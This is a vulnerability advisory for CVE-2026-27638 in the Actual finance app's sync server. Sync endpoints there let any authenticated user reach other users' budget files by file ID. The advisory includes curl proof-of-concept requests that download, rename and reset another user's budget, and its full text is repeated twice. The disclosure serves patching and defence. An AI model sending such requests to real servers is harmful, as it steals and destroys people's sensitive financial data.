CVE-2026-27638

Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.

Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.

In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.

Affected Code

File: packages/sync-server/src/app-sync.ts

The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.

Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:

const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }

This check is missing from all other endpoints.

Affected Endpoints

• GET /sync/download-user-file - download any budget file
• POST /sync/upload-user-file - overwrite any budget file
• POST /sync/sync - read/write sync messages of any file
• POST /sync/user-get-key - read encryption key info
• POST /sync/user-create-key - change encryption key
• POST /sync/reset-user-file - reset sync state
• POST /sync/update-user-filename - rename file
• GET /sync/get-user-file-info - read file metadata

PoC

Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.

Bob downloads Alice's budget:

curl -X GET 'https://actual.example.com/sync/download-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123' \
  -o stolen-budget.blob

Bob reads Alice's file metadata:

curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123'

Bob renames Alice's budget:

curl -X POST 'https://actual.example.com/sync/update-user-filename' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123", "name": "pwned"}'

Bob resets Alice's sync state (destructive):

curl -X POST 'https://actual.example.com/sync/reset-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123"}'

File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.

Impact

In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.

Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.

Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.

In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.

Affected Code

File: packages/sync-server/src/app-sync.ts

The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.

Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:

const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }

This check is missing from all other endpoints.

Affected Endpoints

• GET /sync/download-user-file - download any budget file
• POST /sync/upload-user-file - overwrite any budget file
• POST /sync/sync - read/write sync messages of any file
• POST /sync/user-get-key - read encryption key info
• POST /sync/user-create-key - change encryption key
• POST /sync/reset-user-file - reset sync state
• POST /sync/update-user-filename - rename file
• GET /sync/get-user-file-info - read file metadata

PoC

Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.

Bob downloads Alice's budget:

curl -X GET 'https://actual.example.com/sync/download-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123' \
  -o stolen-budget.blob

Bob reads Alice's file metadata:

curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123'

Bob renames Alice's budget:

curl -X POST 'https://actual.example.com/sync/update-user-filename' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123", "name": "pwned"}'

Bob resets Alice's sync state (destructive):

curl -X POST 'https://actual.example.com/sync/reset-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123"}'

File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.

Impact

In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.